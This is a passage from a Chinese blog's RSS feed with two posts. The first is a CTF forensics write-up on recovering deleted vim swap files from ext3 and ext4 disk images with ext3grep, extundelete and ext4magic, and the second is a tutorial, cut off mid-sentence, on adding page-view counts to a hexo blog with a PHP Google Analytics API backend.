      <content:encoded><![CDATA[<h2 id="前言">前言</h2><p>第一道题出处不明。</p><p>本体见<a href="/anynomous/HZ">这里</a></p><p>第二道题是 xman 排位赛的 file 题目。</p><p>本体见<a href="/xman/file">这里</a></p><span id="more"></span><h2 id="hz">HZ</h2><p>这一部分内容是 8.3 就写过的。</p><h3 id="信息收集">信息收集</h3><p>拿到文件后一看是二进制，因此首先需要确定是什么类型的文件。</p><img src="/2018/08/03/WriteUp-ext3-%E6%96%87%E4%BB%B6%E6%81%A2%E5%A4%8D-HZ-file/1.png" class="" title="binwalk"><p>binwalk 一下可以看到 ext 和 zip 等关键词，猜测是硬盘镜像。</p><img src="/2018/08/03/WriteUp-ext3-%E6%96%87%E4%BB%B6%E6%81%A2%E5%A4%8D-HZ-file/2.png" class="" title="file"><p>file 一下确认是 ext3 的镜像文件。</p><h3 id="diskgenius">DiskGenius</h3><p>其实到这一步卡了半个月，当时就卡在不知道用什么工具读这个文件。</p><p>后来在 XMAN 听师傅讲课的时候提起了 DiskGenius 猛然想起来 DiskGenius可以读各种镜像文件，赶紧试了试。</p><h4 id="根目录">根目录</h4><img src="/2018/08/03/WriteUp-ext3-%E6%96%87%E4%BB%B6%E6%81%A2%E5%A4%8D-HZ-file/3.png" class="" title="root"><p>其中 lost+found 是 ext3文件系统的数据碎片，这里是空文件夹，同时上面的 .ls 也是空的。</p><p>aaa 是单纯的文本文件，全是 k 和换行，意义不明。</p><p>比较有趣的是 TODO.me ，内容是</p><figure class="highlight markdown"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="bullet">-</span> 下班后一定要记得要给花浇水</span><br><span class="line"><span class="bullet">-</span> 家里的熊孩子总是乱删我电脑里的文件，愁死了，有时间了得想个办法。</span><br><span class="line"><span class="bullet">-</span> 去邻居家里取下快递</span><br></pre></td></tr></table></figure><p>猜测应该是出题人想留下的 hint，可能是希望让我们用 strings扫出来，但是我用 strings 只能看到那个 aaa 的内容，grep 一下也没看到Todo.me 的内容。</p><p>到这里就只剩下 .hide 了。</p><h4 id="secret.odg">secret.odg</h4><p>.hide 里面只有一个 secret.odg。</p><img src="/2018/08/03/WriteUp-ext3-%E6%96%87%E4%BB%B6%E6%81%A2%E5%A4%8D-HZ-file/4.png" class="" title="hide"><p>根据 DiskGenius 的提示应该是一个 OpenOffice 的文件，不过用 MSWord也可以打开。</p><img src="/2018/08/03/WriteUp-ext3-%E6%96%87%E4%BB%B6%E6%81%A2%E5%A4%8D-HZ-file/5.png" class="" title="msword"><p>上面是一个矢量图形，下面是一段话，不过没看懂 7 个 M什么意思，但是可以猜出来这里是出题人埋的坑，意思是 flag 不在这里。</p><p>所以这条路到这里就停止了，后来我又找到了另一篇<ahref="https://medium.com/@monliclican/ringzer0team-forensics-agent-smith-reloaded-c77ffc35cce0">文章</a>，才有了新思路。</p><h3 id="fsstat-ext3grep">fsstat &amp;&amp; ext3grep</h3><p>这里用的工具是 fsstat 和 ext3grep，fsstat 我的 kali 自带的就有，猜测Debian 的发行版应该都有，重点是 ext3grep。</p><h4 id="ext3grep">ext3grep</h4><p>ext3grep 我没有找到现有的 binary 所以只能自己 build。</p><p>它的源代码在<ahref="https://code.google.com/archive/p/ext3grep/downloads">这里</a>，要编译的话需要cmake 和 make。</p><p>同时 ext3grep 依赖了 e2fslibs-dev 需要安装。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt install e2fslibs-dev -y</span><br></pre></td></tr></table></figure><p>然后问题是 make 的时候报错如下</p><img src="/2018/08/03/WriteUp-ext3-%E6%96%87%E4%BB%B6%E6%81%A2%E5%A4%8D-HZ-file/6.png" class="" title="make"><p>按照编译器的提示修改还是会报错，所以这里我的解决办法就是全注释掉，反正都是reserved。</p><p>但是注释掉再 make 还是会出错</p><img src="/2018/08/03/WriteUp-ext3-%E6%96%87%E4%BB%B6%E6%81%A2%E5%A4%8D-HZ-file/7.png" class="" title="makeagain"><p>但是这里按照编译器提示修改就可以编译通过了，最后 make install后就可以使用 ext3grep 了。</p><h3 id="恢复文件">恢复文件</h3><p>这里我们首先用 <code>fsstat HZ</code> 查看镜像信息。</p><img src="/2018/08/03/WriteUp-ext3-%E6%96%87%E4%BB%B6%E6%81%A2%E5%A4%8D-HZ-file/8.png" class="" title="fsstat"><p>比较重要的是这里的 <code>Root Directory: 2</code>，其中的 2马上就会用到。</p><p>然后用 <code>ext3grep --inode 2 HZ</code> 查看文件目录。</p><img src="/2018/08/03/WriteUp-ext3-%E6%96%87%E4%BB%B6%E6%81%A2%E5%A4%8D-HZ-file/9.png" class="" title="ext3grep"><p>可以看到有一个 <code>.f1@gggggggggggg.swp</code>不出意外就是它了。</p><p>接着用 <code>ext3grep --restore-file .f1@gggggggggggg.swp hz</code>恢复指定的文件</p><img src="/2018/08/03/WriteUp-ext3-%E6%96%87%E4%BB%B6%E6%81%A2%E5%A4%8D-HZ-file/10.png" class="" title="restore"><p>经常用 vim 的同学相信对这种文件再熟悉不过了，我们直接用<code>vim -r RESTORED_FILES/.f1@gggggggggggg.swp</code>恢复它的内容。</p><img src="/2018/08/03/WriteUp-ext3-%E6%96%87%E4%BB%B6%E6%81%A2%E5%A4%8D-HZ-file/11.png" class="" title="vimr"><p>然后我们就可以拿到 flag 了。</p><h3 id="正向构造">正向构造</h3><p>这道题目到此本来就应该结束了，但是我比较好奇的是题目本身是如何构造出来的，最后在一番尝试后成功正向复现了题目。</p><h4 id="创建新的空白分区">创建新的空白分区</h4><p>为了省事，这里直接在虚拟机上添加了一块大小为 5MB 的硬盘，在 Linux中为 <code>/dev/sdb</code>。</p><h4 id="格式化-挂载">格式化 &amp;&amp; 挂载</h4><p>这里很关键的一点是，我们需要把新的硬盘格式化为ext3，否则没法直接装载。</p><p>这里用到的是 mkfs。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mkfs -t ext3 /dev/sdb</span><br></pre></td></tr></table></figure><p>然后就可以正常的装载了。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mount /dev/sdb ./test</span><br></pre></td></tr></table></figure><h4 id="制作-flag">制作 flag</h4><p>各种干扰性质的文件就不再制作了，这里为了能产生一个 vim 的 swp文件，我们直接 <code>vim flag.txt</code>，并且输入 flag 内容</p><img src="/2018/08/03/WriteUp-ext3-%E6%96%87%E4%BB%B6%E6%81%A2%E5%A4%8D-HZ-file/12.png" class="" title="vi"><p>然后我们 kill 掉这个 vim 进程后再看当前目录文件</p><img src="/2018/08/03/WriteUp-ext3-%E6%96%87%E4%BB%B6%E6%81%A2%E5%A4%8D-HZ-file/13.png" class="" title="swp"><p>然后把它 rm 掉就完成 flag 的制作了。</p><h4 id="制作镜像">制作镜像</h4><p>制作镜像前还有一个坑就是得先卸载硬盘，这样做出来才能被恢复。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">umount /dev/sdb</span><br></pre></td></tr></table></figure><p>接着用 dd 制作镜像。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">dd</span> <span class="keyword">if</span>=/dev/sdb of=./t</span><br></pre></td></tr></table></figure><p>最后检查制作效果</p><img src="/2018/08/03/WriteUp-ext3-%E6%96%87%E4%BB%B6%E6%81%A2%E5%A4%8D-HZ-file/14.png" class="" title="ext3grepagain"><img src="/2018/08/03/WriteUp-ext3-%E6%96%87%E4%BB%B6%E6%81%A2%E5%A4%8D-HZ-file/15.png" class="" title="restored"><p>到这里正向的全部过程也就弄清楚了。</p><h2 id="file">file</h2><p>这部分是 8.11 写的，没想到写完 HZ 的 WriteUp没多久就真的遇到了磁盘文件恢复的题目，所以就放到一起吧。</p><h3 id="extundelete-ext4magic">extundelete &amp; ext4magic</h3><p>常规用 DG 打开发现是很多猫片，没什么特别的。</p><p>由于不是 ext3 而是 ext4 所以这次用到的神器是extundelete，用法不多介绍，一把梭就行</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">extundelete --restore-all file -o out</span><br></pre></td></tr></table></figure><p>然后可以看到结果</p><img src="/2018/08/03/WriteUp-ext3-%E6%96%87%E4%BB%B6%E6%81%A2%E5%A4%8D-HZ-file/16.png" class="" title="restored"><p>和上面如出一辙，也是一个 vim 的 swp 文件。</p><h3 id="ext3-恢复">ext3 恢复</h3><p>然后我试了试用 extundelete，原来也是可以恢复上面 HZ 的。</p><img src="/2018/08/03/WriteUp-ext3-%E6%96%87%E4%BB%B6%E6%81%A2%E5%A4%8D-HZ-file/17.png" class="" title="hz_restored"><p>恢复出来的效果也更好一些，其中 <code>f1@gggggggggggg</code>打开就是之前 aaa 的内容，看起来本意是想干扰我们发现那个 swp 文件吧。</p><h3 id="ext4-正向构造">ext4 正向构造</h3><p>讲的时候还是按照 ext3 的方式构造的（只需要用 <code>mkfs.ext4</code>代替 <code>mkfs.ext3</code> 即可），结果直接翻车，当场没有恢复出来。</p><p>后来一直在尝试，发现 extundelete这个很玄学，似乎删除文件比较多的时候才比较有用。最后发现按照上面 ext3的构造方法，用 ext4magic这个神器能扫出来（应该是结合了文件头扫描）。</p><p>这里放一张截图就可以说明了。</p><img src="/2018/08/03/WriteUp-ext3-%E6%96%87%E4%BB%B6%E6%81%A2%E5%A4%8D-HZ-file/18.png" class="" title="ext4magic"><p>这样 ext4 分区的硬盘镜像我们也能正常的正向构造啦！</p><p>网上大部分都是推荐了 extundelete 几乎没有人提到ext4magic，但是根据构造经验 extundelete 是很容易恢复不出来的，只有ext4magic 能正常恢复出来，而且其实用 ext4magic做上面两道题效果同样很好。</p><h2 id="后记">后记</h2><p>其实文件恢复题还是工具题，只要见过就很好做了。</p><p><del>万一下次就出了呢（逃</del></p><p>2018.8.11 更新</p><p>奶中了呀，真的出了耶。</p><h2 id="参考资料">参考资料</h2><ul><li><ahref="https://medium.com/@monliclican/ringzer0team-forensics-agent-smith-reloaded-c77ffc35cce0">Forensics/4g3n75m17h r3l04d3d</a></li><li><ahref="https://zhuanlan.zhihu.com/p/36348722">一次Hbase删库的故障恢复-EXT4文件恢复原理分析</a></li></ul>]]></content:encoded>
      
      
      <category domain="http://blog.ihomura.cn/categories/CTF/">CTF</category>
      
      
      <category domain="http://blog.ihomura.cn/tags/WriteUp/">WriteUp</category>
      
      <category domain="http://blog.ihomura.cn/tags/MISC/">MISC</category>
      
      <category domain="http://blog.ihomura.cn/tags/fsstat/">fsstat</category>
      
      <category domain="http://blog.ihomura.cn/tags/ext3grep/">ext3grep</category>
      
      <category domain="http://blog.ihomura.cn/tags/ext3/">ext3</category>
      
      <category domain="http://blog.ihomura.cn/tags/ext4/">ext4</category>
      
      <category domain="http://blog.ihomura.cn/tags/extundelete/">extundelete</category>
      
      
      <comments>http://blog.ihomura.cn/2018/08/03/WriteUp-ext3-%E6%96%87%E4%BB%B6%E6%81%A2%E5%A4%8D-HZ-file/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>用 Google Analytics API 为 hexo 博客加上阅读量统计</title>
      <link>http://blog.ihomura.cn/2018/07/26/%E7%94%A8-Google-Analytics-API-%E4%B8%BA-hexo-%E5%8D%9A%E5%AE%A2%E5%8A%A0%E4%B8%8A%E9%98%85%E8%AF%BB%E9%87%8F%E7%BB%9F%E8%AE%A1/</link>
      <guid>http://blog.ihomura.cn/2018/07/26/%E7%94%A8-Google-Analytics-API-%E4%B8%BA-hexo-%E5%8D%9A%E5%AE%A2%E5%8A%A0%E4%B8%8A%E9%98%85%E8%AF%BB%E9%87%8F%E7%BB%9F%E8%AE%A1/</guid>
      <pubDate>Wed, 25 Jul 2018 16:46:53 GMT</pubDate>
      
      <description>&lt;h2 id=&quot;前言&quot;&gt;前言&lt;/h2&gt;
&lt;p&gt;博客各个页面的 Page View (PV)
统计算是我一直都挺想要的一个功能了，但是现有的解决方案都有点缺点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;不蒜子：这个是我一开始考虑的，但是问题是导入已有的数据有点麻烦而且有点担心跑路&lt;/li&gt;
&lt;li&gt;LeanCloud：很多地方都推荐这个，但是它的 API
对加载速度影响大而且流程麻烦。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我需要的是一个尽量不影响加载速度，同时数据不易失而且最好避免导入旧数据的方案，思来想去只有从
Google Analytics 获取数据满足需求了，这时候我也发现了&lt;a
href=&quot;https://github.com/tea3/hexo-related-popular-posts&quot;&gt;hexo-related-popular-posts&lt;/a&gt;，但是问题是点击量只是这个
repo 的附属功能，我并不想要相关主题的功能，然后点开 Document
一看全是日语也不方便二次开发，所以决定自己实现。&lt;/p&gt;
&lt;p&gt;本文就是简单介绍如何手动实现用 Google Analytics API
为博客加上阅读量统计。&lt;/p&gt;</description>
      
      
      
      <content:encoded><![CDATA[<h2 id="前言">前言</h2><p>博客各个页面的 Page View (PV)统计算是我一直都挺想要的一个功能了，但是现有的解决方案都有点缺点：</p><ul><li>不蒜子：这个是我一开始考虑的，但是问题是导入已有的数据有点麻烦而且有点担心跑路</li><li>LeanCloud：很多地方都推荐这个，但是它的 API对加载速度影响大而且流程麻烦。</li></ul><p>我需要的是一个尽量不影响加载速度，同时数据不易失而且最好避免导入旧数据的方案，思来想去只有从Google Analytics 获取数据满足需求了，这时候我也发现了<ahref="https://github.com/tea3/hexo-related-popular-posts">hexo-related-popular-posts</a>，但是问题是点击量只是这个repo 的附属功能，我并不想要相关主题的功能，然后点开 Document一看全是日语也不方便二次开发，所以决定自己实现。</p><p>本文就是简单介绍如何手动实现用 Google Analytics API为博客加上阅读量统计。</p><span id="more"></span><h2 id="环境准备">环境准备</h2><p>hexo毕竟是一个静态博客，如果想添加阅读量统计不可避免的要引入一个后端，由于我的博客正在使用的评论系统hashover 是基于 php 的，所以我第一想法就是用 php 来完成这个功能。</p><h3 id="php">php</h3><p>所以如果你想按照本文的过程来为你的博客加上阅读量，应该先配置一个 php环境，以 apt 为例</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">apt install php php-fpm composer -y</span><br></pre></td></tr></table></figure><h3 id="nginx">nginx</h3><p>然后修改服务器相关配置，这里以 Nginx 为例</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">location ~* \.php$ &#123;</span><br><span class="line">        include fastcgi_params;</span><br><span class="line">        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;</span><br><span class="line">        fastcgi_pass unix:/run/php/php7.0-fpm.sock;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>之后可以用 phpinfo 来测试下是否配置成功，更多的就不再赘述了。</p><h2 id="获取-google-analytics-相关信息">获取 Google Analytics相关信息</h2><p>这里偷懒使用了 v3 的 API，但是由于功能简单其实迁移到 v4非常容易。</p><h3 id="服务账号">服务账号</h3><p>根据 <ahref="https://developers.google.com/analytics/devguides/reporting/core/v3/quickstart/service-php">GoogleAnalytics</a>的说法，我们首先需要一个服务账号，创建的过程非常简单，只要按照他说的步骤一步一步来就行了，比如我的是这样的。</p><img src="/2018/07/26/%E7%94%A8-Google-Analytics-API-%E4%B8%BA-hexo-%E5%8D%9A%E5%AE%A2%E5%8A%A0%E4%B8%8A%E9%98%85%E8%AF%BB%E9%87%8F%E7%BB%9F%E8%AE%A1/1.png" class="" title="服务账号"><p>要注意的是创建完后会提示你下载 key，这个要保留好，后面会用到。</p><h3 id="google-php-apiclient">Google PHP Apiclient</h3><p>然后我们需要配置依赖，这里可以选择直接下载源码解压或者使用composer，由于懒得用 scp 传文件我选择用 composer。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">composer require google/apiclient:^2.0</span><br><span class="line">composer install --no-dev</span><br></pre></td></tr></table></figure><h3 id="数据视图id">数据视图id</h3><p>为了获取数据，我们还需要获取 Google Analytics 数据视图的 id。</p><p>由于我们希望拿到的是全部阅读量，因此不用任何过滤，直接用整站数据视图即可。</p><img src="/2018/07/26/%E7%94%A8-Google-Analytics-API-%E4%B8%BA-hexo-%E5%8D%9A%E5%AE%A2%E5%8A%A0%E4%B8%8A%E9%98%85%E8%AF%BB%E9%87%8F%E7%BB%9F%E8%AE%A1/2.png" class="" title="profile"><p>点击数据视图设置就能看到 id 了。</p><img src="/2018/07/26/%E7%94%A8-Google-Analytics-API-%E4%B8%BA-hexo-%E5%8D%9A%E5%AE%A2%E5%8A%A0%E4%B8%8A%E9%98%85%E8%AF%BB%E9%87%8F%E7%BB%9F%E8%AE%A1/3.png" class="" title="id"><h3 id="简单的请求转发">简单的请求转发</h3><p>由于我们的后端并不需要很复杂的功能，只要简单的按照页面标题获取点击量就可以了，所以这里我直接按照官方的例子改了下</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">&#x27;Content-type: application/json&#x27;</span>);</span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Created by PhpStorm.</span></span><br><span class="line"><span class="comment"> * User: Mio</span></span><br><span class="line"><span class="comment"> * Date: 2018/7/17</span></span><br><span class="line"><span class="comment"> * Time: 23:55</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// Load the Google API PHP Client Library.</span></span><br><span class="line"><span class="keyword">require_once</span> <span class="keyword">__DIR__</span> . <span class="string">&#x27;/vendor/autoload.php&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">initializeAnalytics</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="comment">// Creates and returns the Analytics Reporting service object.</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// Use the developers console and download your service account</span></span><br><span class="line">    <span class="comment">// credentials in JSON format. Place them in this directory or</span></span><br><span class="line">    <span class="comment">// change the key file location if necessary.</span></span><br><span class="line">    <span class="variable">$KEY_FILE_LOCATION</span> = <span class="string">&#x27;/path/to/your/key.json&#x27;</span>; <span class="comment">// 填入刚才获取的 key 的路径</span></span><br><span class="line">    <span class="comment">// Create and configure a new client object.</span></span><br><span class="line">    <span class="variable">$client</span> = <span class="keyword">new</span> <span class="title class_">Google_Client</span>();</span><br><span class="line">    <span class="variable">$client</span>-&gt;<span class="title function_ invoke__">setApplicationName</span>(<span class="string">&quot;Hello Analytics Reporting&quot;</span>);</span><br><span class="line">    <span class="variable">$client</span>-&gt;<span class="title function_ invoke__">setAuthConfig</span>(<span class="variable">$KEY_FILE_LOCATION</span>);</span><br><span class="line">    <span class="variable">$client</span>-&gt;<span class="title function_ invoke__">setScopes</span>([<span class="string">&#x27;https://www.googleapis.com/auth/analytics.readonly&#x27;</span>]);</span><br><span class="line">    <span class="variable">$analytics</span> = <span class="keyword">new</span> <span class="title class_">Google_Service_Analytics</span>(<span class="variable">$client</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="variable">$analytics</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getResults</span>(<span class="params"><span class="variable">$analytics</span>, <span class="variable">$profileId</span>, <span class="variable">$title</span></span>) </span>&#123;</span><br><span class="line">    <span class="comment">// Calls the Core Reporting API and queries for the number of sessions</span></span><br><span class="line">    <span class="comment">// for the last seven days.</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="variable">$analytics</span>-&gt;data_ga-&gt;<span class="title function_ invoke__">get</span>(</span><br><span class="line">        <span class="string">&#x27;ga:&#x27;</span> . <span class="variable">$profileId</span>,</span><br><span class="line">        <span class="string">&#x27;2017-01-01&#x27;</span>, // 这个时间足够久远即可</span><br><span class="line">        <span class="title function_ invoke__">date</span>(<span class="string">&#x27;Y-m-d&#x27;</span>), // 当天日期</span><br><span class="line">        <span class="string">&#x27;ga:pageviews&#x27;</span>, // 页面PV</span><br><span class="line">        [<span class="string">&#x27;dimensions&#x27;</span> =&gt; <span class="string">&#x27;ga:pageTitle&#x27;</span>, // 按照标题划分</span><br><span class="line">         <span class="string">&#x27;filters&#x27;</span> =&gt; <span class="string">&#x27;ga:pageTitle==&#x27;</span>.<span class="variable">$title</span>, // 按照标题过滤</span><br><span class="line">        <span class="string">&#x27;samplingLevel&#x27;</span> =&gt; <span class="string">&#x27;HIGHER_PRECISION&#x27;</span>]); <span class="comment">// 最高精度</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="variable">$clicks</span> = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">if</span>(!<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;title&#x27;</span>]))&#123;</span><br><span class="line">        <span class="variable">$clicks</span> = <span class="string">&quot;（╯‵□′）╯︵┴─┴&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="variable">$analytics</span> = <span class="title function_ invoke__">initializeAnalytics</span>();</span><br><span class="line">        <span class="variable">$results</span> = <span class="title function_ invoke__">getResults</span>(<span class="variable">$analytics</span>, YOUR_PROFILE_ID, <span class="title function_ invoke__">rawurlencode</span>(<span class="title function_ invoke__">htmlspecialchars_decode</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;title&#x27;</span>]))); <span class="comment">// 填入你的数据视图 id</span></span><br><span class="line">        <span class="variable">$rows</span> = <span class="variable">$results</span>-&gt;<span class="title function_ invoke__">getRows</span>();</span><br><span class="line">        <span class="keyword">switch</span> (<span class="title function_ invoke__">count</span>(<span class="variable">$rows</span>)) &#123;</span><br><span class="line">            <span class="keyword">case</span> <span class="number">0</span>:</span><br><span class="line">                <span class="variable">$clicks</span> = <span class="number">0</span>;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line">                <span class="variable">$clicks</span> = <span class="variable">$rows</span>[<span class="number">0</span>][<span class="number">1</span>];</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">default</span>:</span><br><span class="line">                <span class="variable">$clicks</span> = <span class="string">&quot;（╯‵□′）╯︵┴─┴&quot;</span>;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([<span class="string">&#x27;clicks&#x27;</span> =&gt; <span class="variable">$clicks</span>]);</span><br><span class="line">    <span class="keyword">exit</span>(<span class="number">0</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">catch</span> (<span class="built_in">Exception</span> <span class="variable">$e</span>)&#123;</span><br><span class="line">    <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([<span class="string">&quot;clicks&quot;</span> =&gt; <span class="string">&quot;（╯‵□′）╯︵┴─┴&quot;</span>]);</span><br><span class="line">    <span class="keyword">exit</span>(<span class="number">0</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>注意这里要填入之前下载 key 的路径和你自己数据视图的 id。</p><p>然后现在只要在 GET请求中带上标题就可以获取到阅读量了，比如对于我的博客访问<ahref="/clicks/clicks.php?title=澪同学的博客">这里</a>就可以获取主页的点击量。</p><p>当然如果你发现了什么注入漏洞也欢迎告诉我...</p><h2 id="前端">前端</h2><p>完成了后端后接下来需要的就是前端展示了。</p><p>以下都是建立在 NexT主题的基础上，如果你使用其他的主题道理也是类似的。</p><h3 id="发送请求">发送请求</h3><p>由于 NexT 中使用了 jQuery 因此前端代码编写就很简单了</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> title = <span class="variable language_">document</span>.<span class="title function_">querySelector</span>(<span class="string">&#x27;title&#x27;</span>).<span class="property">innerHTML</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> setClicks = <span class="keyword">function</span>(<span class="params">data</span>)&#123;</span><br><span class="line">    <span class="keyword">var</span> spans = <span class="variable language_">document</span>.<span class="title function_">querySelectorAll</span>(<span class="string">&#x27;#clicks&#x27;</span>);</span><br><span class="line">    <span class="keyword">var</span> clicks = <span class="string">&quot;（╯‵□′）╯︵┴─┴&quot;</span>;</span><br><span class="line">    <span class="keyword">if</span>(data.<span class="title function_">hasOwnProperty</span>(<span class="string">&#x27;clicks&#x27;</span>))</span><br><span class="line">        clicks = data[<span class="string">&#x27;clicks&#x27;</span>];</span><br><span class="line">    <span class="keyword">for</span>(<span class="keyword">var</span> i=<span class="number">0</span>;i&lt;spans.<span class="property">length</span>;i++)</span><br><span class="line">        spans[i].<span class="property">innerHTML</span> = clicks;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">$.<span class="title function_">ajax</span>(&#123;</span><br><span class="line">    <span class="string">&#x27;url&#x27;</span> : <span class="string">&#x27;/clicks/clicks.php&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;data&#x27;</span> : &#123;</span><br><span class="line">        <span class="string">&#x27;title&#x27;</span> : title</span><br><span class="line">    &#125;,</span><br><span class="line">    <span class="string">&#x27;dataType&#x27;</span> : <span class="string">&#x27;json&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;method&#x27;</span> : <span class="string">&#x27;GET&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;success&#x27;</span> : setClicks,</span><br><span class="line">    <span class="string">&#x27;error&#x27;</span> : setClicks</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><p>把这个文件放到 next 主题的 <code>source/js</code>下，但是这时候访问的话这个 js 还不会被加载。</p><p>接着修改 <code>layout/_layout.swig</code> 在最后引入我们的 js文件。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">  ...</span><br><span class="line">  ...</span><br><span class="line">  ...</span><br><span class="line">  &#123;% include &#x27;_third-party/pangu.swig&#x27; %&#125;</span><br><span class="line">  &#123;% include &#x27;_third-party/scroll-cookie.swig&#x27; %&#125;</span><br><span class="line">  &#123;% include &#x27;_third-party/exturl.swig&#x27; %&#125;</span><br><span class="line">  &#123;% include &#x27;_third-party/bookmark.swig&#x27; %&#125;</span><br><span class="line">  &lt;script type=&quot;text/javascript&quot; src=&quot;&#123;&#123; url_for(theme.js) &#125;&#125;/src/clicks.js&quot;&gt;&lt;/script&gt;</span><br><span class="line">&lt;/body&gt;</span><br><span class="line">&lt;/html&gt;</span><br></pre></td></tr></table></figure><p>现在只要页面中 id 为 clicks 的 span的内容都会被延迟加载为阅读量了。</p><h3 id="展示数据">展示数据</h3><p>接下来就是要在哪里展示阅读量了。</p><p>由于我是前端废，所以干脆就用原来主题的 